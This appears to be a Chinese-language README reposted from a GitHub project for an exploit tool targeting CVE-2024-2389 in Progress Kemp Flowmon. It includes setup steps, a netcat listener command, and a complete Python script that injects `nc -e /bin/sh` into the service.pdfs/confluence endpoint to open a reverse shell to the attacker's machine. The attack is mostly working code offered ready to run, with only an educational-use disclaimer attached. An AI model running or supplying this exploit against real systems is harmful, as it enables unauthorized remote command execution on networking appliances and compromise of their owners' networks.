Flowmon CVE-2024-2389 漏洞利用工具

4 阅读2分钟

Flowmon CVE-2024-2389 漏洞利用工具

本项目是一个用于检测和利用 Progress Kemp Flowmon 系统中 CVE-2024-2389 安全漏洞的 Python 脚本工具。该漏洞允许经过身份验证的攻击者在受影响的 Flowmon 设备上执行任意命令,从而实现远程代码执行和反向 Shell 连接。

功能特性

  • 漏洞利用:针对 Flowmon service.pdfs/confluence 端点的命令注入漏洞进行利用
  • 反向 Shell:在目标服务器上建立反向 Shell 连接,实现远程控制
  • 交互式输入:通过命令行提示输入目标主机、本地 IP 和端口,操作简单直观
  • 错误处理:包含完整的 HTTP、SSL 和其他异常处理机制
  • 教育目的:适用于安全研究人员学习和理解命令注入漏洞的原理

安装指南

系统要求

  • Python 3.x
  • 网络连接到目标 Flowmon 设备

依赖安装

本项目仅依赖 Python 的 requests 库。使用以下命令安装:

pip install requests

获取项目代码

git clone https://github.com/adhikara13/CVE-2024-2389.git
cd CVE-2024-2389

使用说明

基本使用

  1. 运行主脚本:
python main.py
  1. 根据提示输入以下信息:

    • Flowmon host:目标 Flowmon 服务器的地址(例如 192.168.1.100flowmon.example.com
    • Your IP address:您本地监听机器的 IP 地址(用于接收反向 Shell)
    • Your port:本地监听端口(例如 4444
  2. 在执行脚本前,请先在本地启动一个 Netcat 监听器:

nc -lvnp 4444
  1. 执行脚本后,如果目标存在漏洞,您将在 Netcat 监听器中获得一个反向 Shell。

使用示例

$ python main.py

┏┓┓┏┏┓  ┏┓┏┓┏┓┏┓  ┏┓┏┓┏┓┏┓
┃ ┃┃┣ ━━┏┛┃┫┏┛┃┃━━┏┛ ┫┣┫┗┫
┗┛┗┛┗┛  ┗━┗┛┗━┗╋  ┗━┗┛┗┛┗┛

Enter Flowmon host: 192.168.1.100
Enter your IP address: 192.168.1.50
Enter your port: 4444

漏洞原理

该漏洞存在于 Flowmon 的 service.pdfs/confluence 端点。当 lang 参数被设置为包含反引号的特殊字符串时,服务器会执行其中的系统命令。本工具构造如下 URL 触发命令执行:

https://{host}/service.pdfs/confluence?lang=en&file=`nc -e /bin/sh {ip_address} {port}`

核心代码

主利用脚本 (main.py)

import requests

banner = """
┏┓┓┏┏┓  ┏┓┏┓┏┓┏┓  ┏┓┏┓┏┓┏┓
┃ ┃┃┣ ━━┏┛┃┫┏┛┃┃━━┏┛ ┫┣┫┗┫
┗┛┗┛┗┛  ┗━┗┛┗━┗╋  ┗━┗┛┗┛┗┛
"""

print(banner)

host = input("Enter Flowmon host: ")
ip_address = input("Enter your IP address: ")
port = input("Enter your port: ")

# 构造利用 URL,在 file 参数中注入反向 Shell 命令
url = f"https://{host}/service.pdfs/confluence?lang=en&file=`nc+-e+/bin/sh+{ip_address}+{port}`"

try:
    # 发送 HTTPS 请求,禁用 SSL 验证(适用于自签名证书)
    response = requests.get(url, verify=False)
    response.raise_for_status()

    print("Response:")
    print(response.text)

except requests.exceptions.HTTPError as http_err:
    print(f"An HTTP error occurred: {http_err}")
except requests.exceptions.SSLError as ssl_err:
    print(f"An SSL error occurred: {ssl_err}. This might be due to the server's SSL certificate not being trusted. Please ensure the server's SSL certificate is valid and trusted.")
except Exception as err:
    print(f"An unexpected error occurred: {err}")

免责声明

本工具仅用于教育和授权的安全测试目的。未经明确授权,使用此脚本攻击您不拥有或没有测试权限的系统是非法的。使用者需自行承担所有风险和责任。 6HFtX5dABrKlqXeO5PUv/43YcaEuZ0YmcrMesGbSZVs=